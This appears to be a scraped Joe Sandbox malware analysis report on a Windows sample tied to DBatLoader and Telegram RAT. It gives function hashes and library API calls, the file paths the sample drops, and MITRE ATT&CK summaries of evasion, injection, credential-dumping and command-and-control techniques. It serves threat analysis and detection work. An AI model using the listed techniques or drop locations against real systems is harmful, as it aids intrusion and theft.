String ID:
API String ID: 3809854901-0
Opcode ID: b16ff40dd4ba9ebc371e1f7effab867f6711c58894302612c2f4823bb6b89e2c
Instruction ID: cdfffc9a1d2b3026f9ae82d5cc8d175594050d3ba9b5f3d3ede674b9b5b9b85c
Opcode Fuzzy Hash: b16ff40dd4ba9ebc371e1f7effab867f6711c58894302612c2f4823bb6b89e2c
Instruction Fuzzy Hash: 29B1B072908119EFCF119FA0CC808EF7BB5EF48354B14856BF915A2260D7398DD2DB98

Function 0040BCC2 Relevance: 10.7, APIs: 7, Instructions: 189COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040BD24
_memcpy_s.LIBCMT ref: 0040BD99
__fileno.LIBCMT ref: 0040BDF9
__read.LIBCMT ref: 0040BE00
__filbuf.LIBCMT ref: 0040BE24
_memset.LIBCMT ref: 0040BE6A
_memset.LIBCMT ref: 0040BE95

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Memory Dump Source

Source File: 0000000E.00000002.2505613508.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.2505613508.0000000000441000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_yihfsboC.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction ID: 0234425abcb0213f77efd30778ac7634d7a408156a07f93f58cd91f86a00e979
Opcode Fuzzy Hash: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction Fuzzy Hash: 1E519031A00605ABCB209F69C844A9FBB75EF41324F24863BF825B22D1D7799E51CBDD

Function 00413610 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0040CDF5), ref: 00413615
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00413625

Strings

KERNEL32, xrefs: 00413610
IsProcessorFeaturePresent, xrefs: 0041361F

Memory Dump Source

Source File: 0000000E.00000002.2505613508.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.2505613508.0000000000441000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_yihfsboC.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction ID: 3bb3582238f4ecb0ba7b9e8fe578e45fdcf0af3c55e5dfe2a5e3893bc0ad87fb
Opcode Fuzzy Hash: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction Fuzzy Hash: 96F06230600A09E2DB105FA1ED1E2EFBB74BB80746F5101A19196B0194DF38D0B6825A

Function 00405D00 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00405D54
_memset.LIBCMT ref: 00405D6F
_fseek.LIBCMT ref: 00405DDD

Memory Dump Source

Source File: 0000000E.00000002.2505613508.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.2505613508.0000000000441000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_yihfsboC.jbxd

Yara matches

Similarity

API ID: _fseek_malloc_memset
String ID:
API String ID: 208892515-0
Opcode ID: 9fe2477137ff98b8fe919820eb2b1ff53dfeab7efe35faa63f44dd20cd1a70ab
Instruction ID: b5a371ba5f9a3ad1fa090fb1a89082137fe8d6c03bc5c52cd66242ccf2a60741
Opcode Fuzzy Hash: 9fe2477137ff98b8fe919820eb2b1ff53dfeab7efe35faa63f44dd20cd1a70ab
Instruction Fuzzy Hash: 3541A572600F018AD630972EE804B2772E5DF90364F140A3FE9E6E27D5E738E9458F89

Function 0041529F Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004152D3
__isleadbyte_l.LIBCMT ref: 00415307
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?), ref: 00415338
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?), ref: 004153A6

Memory Dump Source

Source File: 0000000E.00000002.2505613508.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.2505613508.0000000000441000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_yihfsboC.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction ID: 094900ada7e667e90e346a2540d450e67f5821ec0926a3c2ae07879bc245b0d1
Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction Fuzzy Hash: 1831A032A00649EFDB20DFA4C8809EE7BB5EF41350B1885AAE8659B291D374DD80DF59

Function 004134DB Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00413501

Part of subcall function 00413326: __fltout2.LIBCMT ref: 00413352

__cftog_l.LIBCMT ref: 00413527
__cftoe_l.LIBCMT ref: 00413559

Memory Dump Source

Source File: 0000000E.00000002.2505613508.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.2505613508.0000000000441000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_yihfsboC.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: bfd0e68975b3765f24e543ba70b005e9871d43ed2f52156b65e62ceec70126f9
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: DA117E7200014EBBCF125E85CC418EE3F27BF18755B58841AFE2858130D73BCAB2AB89

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report EPTMAcgvNZ.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DBatLoader

Threatname: Telegram RAT

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Cobsfhiy.url

C:\Users\Public\Libraries\Cobsfhiy

C:\Users\Public\Libraries\Cobsfhiy.PIF

C:\Users\Public\Libraries\PNO

C:\Users\Public\Libraries\yihfsboC.cmd

C:\Users\Public\Libraries\yihfsboC.pif

C:\Users\Public\alpha.pif

C:\Users\Public\xpha.pif

\Device\ConDrv

\Device\Null

Windows Analysis Report
EPTMAcgvNZ.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre